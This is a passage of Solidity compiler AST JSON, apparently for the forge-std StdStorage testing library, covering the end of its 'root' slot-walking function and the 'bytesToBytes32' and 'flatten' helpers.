sLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"10518:126:8","typeDescriptions":{"typeIdentifier":"t_stringliteral_05c02dd7643b4a3b621a87327400688a0e915a721e1557091f0636a8183236ef","typeString":"literal_string \"stdStorage read_bool(StdStorage): Cannot find parent. Make sure you give a slot and startMappingRecording() has been called.\""},"value":"stdStorage read_bool(StdStorage): Cannot find parent. Make sure you give a slot and startMappingRecording() has been called."}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_05c02dd7643b4a3b621a87327400688a0e915a721e1557091f0636a8183236ef","typeString":"literal_string \"stdStorage read_bool(StdStorage): Cannot find parent. Make sure you give a slot and startMappingRecording() has been called.\""}],"id":8575,"name":"revert","nodeType":"Identifier","overloadedDeclarations":[-19,-19],"referencedDeclaration":-19,"src":"10494:6:8","typeDescriptions":{"typeIdentifier":"t_function_revert_pure$_t_string_memory_ptr_$returns$__$","typeString":"function (string memory) pure"}},"id":8577,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"10494:164:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":8578,"nodeType":"ExpressionStatement","src":"10494:164:8"}]}},{"body":{"id":8599,"nodeType":"Block","src":"10692:138:8","statements":[{"expression":{"id":8584,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":8582,"name":"root_slot","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8555,"src":"10706:9:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":8583,"name":"parent_slot","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8558,"src":"10718:11:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"src":"10706:23:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"id":8585,"nodeType":"ExpressionStatement","src":"10706:23:8"},{"expression":{"id":8597,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"components":[{"id":8586,"name":"found","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8552,"src":"10744:5:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},null,{"id":8587,"name":"parent_slot","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8558,"src":"10752:11:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"id":8588,"isConstant":false,"isInlineArray":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"TupleExpression","src":"10743:21:8","typeDescriptions":{"typeIdentifier":"t_tuple$_t_bool_$__$_t_bytes32_$","typeString":"tuple(bool,,bytes32)"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"id":8591,"name":"who","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8527,"src":"10795:3:8","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"arguments":[{"id":8594,"name":"root_slot","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8555,"src":"10808:9:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"id":8593,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"10800:7:8","typeDescriptions":{"typeIdentifier":"t_type$_t_bytes32_$","typeString":"type(bytes32)"},"typeName":{"id":8592,"name":"bytes32","nodeType":"ElementaryTypeName","src":"10800:7:8","typeDescriptions":{}}},"id":8595,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"10800:18:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"expression":{"id":8589,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7460,"src":"10767:2:8","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":8590,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"10770:24:8","memberName":"getMappingKeyAndParentOf","nodeType":"MemberAccess","referencedDeclaration":12557,"src":"10767:27:8","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_bytes32_$returns$_t_bool_$_t_bytes32_$_t_bytes32_$","typeString":"function (address,bytes32) external returns (bool,bytes32,bytes32)"}},"id":8596,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"10767:52:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$_t_bool_$_t_bytes32_$_t_bytes32_$","typeString":"tuple(bool,bytes32,bytes32)"}},"src":"10743:76:8","typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":8598,"nodeType":"ExpressionStatement","src":"10743:76:8"}]},"condition":{"id":8581,"name":"found","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8552,"src":"10685:5:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":8600,"nodeType":"WhileStatement","src":"10678:152:8"},{"expression":{"arguments":[{"id":8603,"name":"root_slot","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8555,"src":"10854:9:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"id":8602,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"10846:7:8","typeDescriptions":{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"},"typeName":{"id":8601,"name":"uint256","nodeType":"ElementaryTypeName","src":"10846:7:8","typeDescriptions":{}}},"id":8604,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"10846:18:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"functionReturnParameters":8525,"id":8605,"nodeType":"Return","src":"10839:25:8"}]},"implemented":true,"kind":"function","modifiers":[],"name":"root","nameLocation":"10067:4:8","parameters":{"id":8522,"nodeType":"ParameterList","parameters":[{"constant":false,"id":8521,"mutability":"mutable","name":"self","nameLocation":"10091:4:8","nodeType":"VariableDeclaration","scope":8607,"src":"10072:23:8","stateVariable":false,"storageLocation":"storage","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"},"typeName":{"id":8520,"nodeType":"UserDefinedTypeName","pathNode":{"id":8519,"name":"StdStorage","nameLocations":["10072:10:8"],"nodeType":"IdentifierPath","referencedDeclaration":7427,"src":"10072:10:8"},"referencedDeclaration":7427,"src":"10072:10:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"}},"visibility":"internal"}],"src":"10071:25:8"},"returnParameters":{"id":8525,"nodeType":"ParameterList","parameters":[{"constant":false,"id":8524,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":8607,"src":"10115:7:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":8523,"name":"uint256","nodeType":"ElementaryTypeName","src":"10115:7:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"10114:9:8"},"scope":8781,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":8663,"nodeType":"FunctionDefinition","src":"10877:304:8","nodes":[],"body":{"id":8662,"nodeType":"Block","src":"10964:217:8","nodes":[],"statements":[{"assignments":[8617],"declarations":[{"constant":false,"id":8617,"mutability":"mutable","name":"out","nameLocation":"10982:3:8","nodeType":"VariableDeclaration","scope":8662,"src":"10974:11:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":8616,"name":"bytes32","nodeType":"ElementaryTypeName","src":"10974:7:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":8618,"nodeType":"VariableDeclarationStatement","src":"10974:11:8"},{"assignments":[8620],"declarations":[{"constant":false,"id":8620,"mutability":"mutable","name":"max","nameLocation":"11004:3:8","nodeType":"VariableDeclaration","scope":8662,"src":"10996:11:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":8619,"name":"uint256","nodeType":"ElementaryTypeName","src":"10996:7:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":8629,"initialValue":{"condition":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":8624,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"expression":{"id":8621,"name":"b","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8609,"src":"11010:1:8","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"id":8622,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"11012:6:8","memberName":"length","nodeType":"MemberAccess","src":"11010:8:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":">","rightExpression":{"hexValue":"3332","id":8623,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"11021:2:8","typeDescriptions":{"typeIdentifier":"t_rational_32_by_1","typeString":"int_const 32"},"value":"32"},"src":"11010:13:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"falseExpression":{"expression":{"id":8626,"name":"b","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8609,"src":"11031:1:8","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"id":8627,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"11033:6:8","memberName":"length","nodeType":"MemberAccess","src":"11031:8:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":8628,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"Conditional","src":"11010:29:8","trueExpression":{"hexValue":"3332","id":8625,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"11026:2:8","typeDescriptions":{"typeIdentifier":"t_rational_32_by_1","typeString":"int_const 32"},"value":"32"},"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"VariableDeclarationStatement","src":"10996:43:8"},{"body":{"id":8658,"nodeType":"Block","src":"11083:72:8","statements":[{"expression":{"id":8656,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":8640,"name":"out","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8617,"src":"11097:3:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"nodeType":"Assignment","operator":"|=","rightHandSide":{"commonType":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"id":8655,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"arguments":[{"commonType":{"typeIdentifier":"t_bytes1","typeString":"bytes1"},"id":8649,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"baseExpression":{"id":8643,"name":"b","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8609,"src":"11112:1:8","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"id":8647,"indexExpression":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":8646,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":8644,"name":"offset","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8611,"src":"11114:6:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"+","rightExpression":{"id":8645,"name":"i","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8631,"src":"11123:1:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"11114:10:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"11112:13:8","typeDescriptions":{"typeIdentifier":"t_bytes1","typeString":"bytes1"}},"nodeType":"BinaryOperation","operator":"&","rightExpression":{"hexValue":"30784646","id":8648,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"11128:4:8","typeDescriptions":{"typeIdentifier":"t_rational_255_by_1","typeString":"int_const 255"},"value":"0xFF"},"src":"11112:20:8","typeDescriptions":{"typeIdentifier":"t_bytes1","typeString":"bytes1"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes1","typeString":"bytes1"}],"id":8642,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"11104:7:8","typeDescriptions":{"typeIdentifier":"t_type$_t_bytes32_$","typeString":"type(bytes32)"},"typeName":{"id":8641,"name":"bytes32","nodeType":"ElementaryTypeName","src":"11104:7:8","typeDescriptions":{}}},"id":8650,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"11104:29:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"nodeType":"BinaryOperation","operator":">>","rightExpression":{"components":[{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":8653,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":8651,"name":"i","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8631,"src":"11138:1:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"*","rightExpression":{"hexValue":"38","id":8652,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"11142:1:8","typeDescriptions":{"typeIdentifier":"t_rational_8_by_1","typeString":"int_const 8"},"value":"8"},"src":"11138:5:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"id":8654,"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"TupleExpression","src":"11137:7:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"11104:40:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"src":"11097:47:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"id":8657,"nodeType":"ExpressionStatement","src":"11097:47:8"}]},"condition":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":8636,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":8634,"name":"i","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8631,"src":"11069:1:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"<","rightExpression":{"id":8635,"name":"max","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8620,"src":"11073:3:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"11069:7:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":8659,"initializationExpression":{"assignments":[8631],"declarations":[{"constant":false,"id":8631,"mutability":"mutable","name":"i","nameLocation":"11062:1:8","nodeType":"VariableDeclaration","scope":8659,"src":"11054:9:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":8630,"name":"uint256","nodeType":"ElementaryTypeName","src":"11054:7:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":8633,"initialValue":{"hexValue":"30","id":8632,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"11066:1:8","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},"nodeType":"VariableDeclarationStatement","src":"11054:13:8"},"isSimpleCounterLoop":true,"loopExpression":{"expression":{"id":8638,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"UnaryOperation","operator":"++","prefix":false,"src":"11078:3:8","subExpression":{"id":8637,"name":"i","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8631,"src":"11078:1:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":8639,"nodeType":"ExpressionStatement","src":"11078:3:8"},"nodeType":"ForStatement","src":"11049:106:8"},{"expression":{"id":8660,"name":"out","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8617,"src":"11171:3:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"functionReturnParameters":8615,"id":8661,"nodeType":"Return","src":"11164:10:8"}]},"implemented":true,"kind":"function","modifiers":[],"name":"bytesToBytes32","nameLocation":"10886:14:8","parameters":{"id":8612,"nodeType":"ParameterList","parameters":[{"constant":false,"id":8609,"mutability":"mutable","name":"b","nameLocation":"10914:1:8","nodeType":"VariableDeclaration","scope":8663,"src":"10901:14:8","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":8608,"name":"bytes","nodeType":"ElementaryTypeName","src":"10901:5:8","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"},{"constant":false,"id":8611,"mutability":"mutable","name":"offset","nameLocation":"10925:6:8","nodeType":"VariableDeclaration","scope":8663,"src":"10917:14:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":8610,"name":"uint256","nodeType":"ElementaryTypeName","src":"10917:7:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"10900:32:8"},"returnParameters":{"id":8615,"nodeType":"ParameterList","parameters":[{"constant":false,"id":8614,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":8663,"src":"10955:7:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":8613,"name":"bytes32","nodeType":"ElementaryTypeName","src":"10955:7:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"10954:9:8"},"scope":8781,"stateMutability":"pure","virtual":false,"visibility":"private"},{"id":8704,"nodeType":"FunctionDefinition","src":"11187:393:8","nodes":[],"body":{"id":8703,"nodeType":"Block","src":"11260:320:8","nodes":[],"statements":[{"assignments":[8672],"declarations":[{"constant":false,"id":8672,"mutability":"mutable","name":"result","nameLocation":"11283:6:8","nodeType":"VariableDeclaration","scope":8703,"src":"11270:19:8","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":8671,"name":"bytes","nodeType":"ElementaryTypeName","src":"11270:5:8","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"id":8680,"initialValue":{"arguments":[{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":8678,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"expression":{"id":8675,"name":"b","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8666,"src":"11302:1:8","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$dyn_memory_ptr","typeString":"bytes32[] memory"}},"id":8676,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"11304:6:8","memberName":"length","nodeType":"MemberAccess","src":"11302:8:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"*","rightExpression":{"hexValue":"3332","id":8677,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"11313:2:8","typeDescriptions":{"typeIdentifier":"t_rational_32_by_1","typeString":"int_const 32"},"value":"32"},"src":"11302:13:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":8674,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"NewExpression","src":"11292:9:8","typeDescriptions":{"typeIdentifier":"t_function_objectcreation_pure$_t_uint256_$returns$_t_bytes_memory_ptr_$","typeString":"function (uint256) pure returns (bytes memory)"},"typeName":{"id":8673,"name":"bytes","nodeType":"ElementaryTypeName","src":"11296:5:8","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}}},"id":8679,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"11292:24:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"nodeType":"VariableDeclarationStatement","src":"11270:46:8"},{"body":{"id":8699,"nodeType":"Block","src":"11365:185:8","statements":[{"assignments":[8693],"declarations":[{"constant":false,"id":8693,"mutability":"mutable","name":"k","nameLocation":"11387:1:8","nodeType":"VariableDeclaration","scope":8699,"src":"11379:9:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":8692,"name":"bytes32","nodeType":"ElementaryTypeName","src":"11379:7:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":8697,"initialValue":{"baseExpression":{"id":8694,"name":"b","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8666,"src":"11391:1:8","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$dyn_memory_ptr","typeString":"bytes32[] memory"}},"id":8696,"indexExpression":{"id":8695,"name":"i","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8682,"src":"11393:1:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"11391:4:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"nodeType":"VariableDeclarationStatement","src":"11379:16:8"},{"AST":{"nativeSrc":"11465:75:8","nodeType":"YulBlock","src":"11465:75:8","statements":[{"expression":{"arguments":[{"arguments":[{"name":"result","nativeSrc":"11494:6:8","nodeType":"YulIdentifier","src":"11494:6:8"},{"arguments":[{"kind":"number","nativeSrc":"11506:2:8","nodeType":"YulLiteral","src":"11506:2:8","type":"","value":"32"},{"arguments":[{"kind":"number","nativeSrc":"11514:2:8","nodeType":"YulLiteral","src":"11514:2:8","type":"","value":"32"},{"name":"i","nativeSrc":"11518:1:8","nodeType":"YulIdentifier","src":"11518:1:8"}],"functionName":{"name":"mul","nativeSrc":"11510:3:8","nodeType":"YulIdentifier","src":"11510:3:8"},"nativeSrc":"11510:10:8","nodeType":"YulFunctionCall","src":"11510:10:8"}],"functionName":{"name":"add","nativeSrc":"11502:3:8","nodeType":"YulIdentifier","src":"11502:3:8"},"nativeSrc":"11502:19:8","nodeType":"YulFunctionCall","src":"11502:19:8"}],"functionName":{"name":"add","nativeSrc":"11490:3:8","nodeType":"YulIdentifier","src":"11490:3:8"},"nativeSrc":"11490:32:8","nodeType":"YulFunctionCall","src":"11490:32:8"},{"name":"k","nativeSrc":"11524:1:8","nodeType":"YulIdentifier","src":"11524:1:8"}],"functionName":{"name":"mstore","nativeSrc":"11483:6:8","nodeType":"YulIdentifier","src":"11483:6:8"},"nativeSrc":"11483:43:8","nodeType":"YulFunctionCall","src":"11483:43:8"},"nativeSrc":"11483:43:8","nodeType":"YulExpressionStatement","src":"11483:43:8"}]},"documentation":"@solidity memory-safe-assembly","evmVersion":"shanghai","externalReferences":[{"declaration":8682,"isOffset":false,"isSlot":false,"src":"11518:1:8","valueSize":1},{"declaration":8693,"isOffset":false,"isSlot":false,"src":"11524:1:8","valueSize":1},{"declaration":8672,"isOffset":false,"isSlot":false,"src":"11494:6:8","valueSize":1}],"id":8698,"nodeType":"InlineAssembly","src":"11456:84:8"}]},"condition":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":8688,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":8685,"name":"i","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8682,"src":"11346:1:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"<","rightExpression":{"expression":{"id":8686,"name":"b","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8666,"src":"11350:1:8","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$dyn_memory_ptr","typeString":"bytes32[] memory"}},"id":8687,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"11352:6:8","memberName":"length","nodeType":"MemberAccess","src":"11350:8:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"11346:12:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":8700,"initializationExpression":{"assignments":[8682],"declarations":[{"constant":false,"id":8682,"mutability":"mutable","name":"i","nameLocation":"11339:1:8","nodeType":"VariableDeclaration","scope":8700,"src":"11331:9:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":8681,"name":"uint256","nodeType":"ElementaryTypeName","src":"11331:7:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":8684,"initialValue":{"hexValue":"30","id":8683,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"11343:1:8","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},"nodeType":"VariableDeclarationStatement","src":"11331:13:8"},"isSimpleCounterLoop":true,"loopExpression":{"expression":{"id":8690,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"UnaryOperation","operator":"++","prefix":false,"src":"11360:3:8","subExpression":{"id":8689,"name":"i","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8682,"src":"11360:1:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":8691,"nodeType":"ExpressionStatement","src":"11360:3:8"},"nodeType":"ForStatement","src":"11326:224:8"},{"expression":{"id":8701,"name":"result","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8672,"src":"11567:6:8","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"functionReturnParameters":8670,"id":8702,"nodeType":"Return","src":"11560:13:8"}]},"implemented":true,"kind":"function","modifiers":[],"name":"flatten","nameLocation":"11196:7:8","parameters":{"id":8667,"nodeType":"ParameterList","parameters":[{"constant":false,"id":8666,"mutability":"mutable","name":"b","nameLocation":"11221:1:8","nodeType":"VariableDeclaration","scope":8704,"src":"11204:18:8","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$dyn_memory_ptr","typeString":"bytes32[]"},"typeName":{"baseType":{"id":8664,"name":"bytes32","nodeType":"ElementaryTypeName","src":"11204:7:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"id":8665,"nodeType":"ArrayTypeName","src":"11204:9:8","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$dyn_storage_ptr","typeString":"bytes32[]"}},"visibility":"internal"}],"src":"11203:20:8"},"returnParameters":{"id":8670,"nodeType":"ParameterList","parameters":[{"constant":false,"id":8669,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":8704,"src":"11246:12:8","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":8668,"name":"bytes","nodeType":"ElementaryTypeName","src":"11246:5:8","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"11245:14:8"},"scope":8781,"stateMutability":"pure","virtual":false,"visibility":"private"},{"id":8735,"nodeType":"FunctionDefinition","src":"11586:239:8","nodes":[],"body":{"id":8734,"nodeType":"Block","src":"11635:190:8","nodes":[],"statements":[{"expression":{"id":8712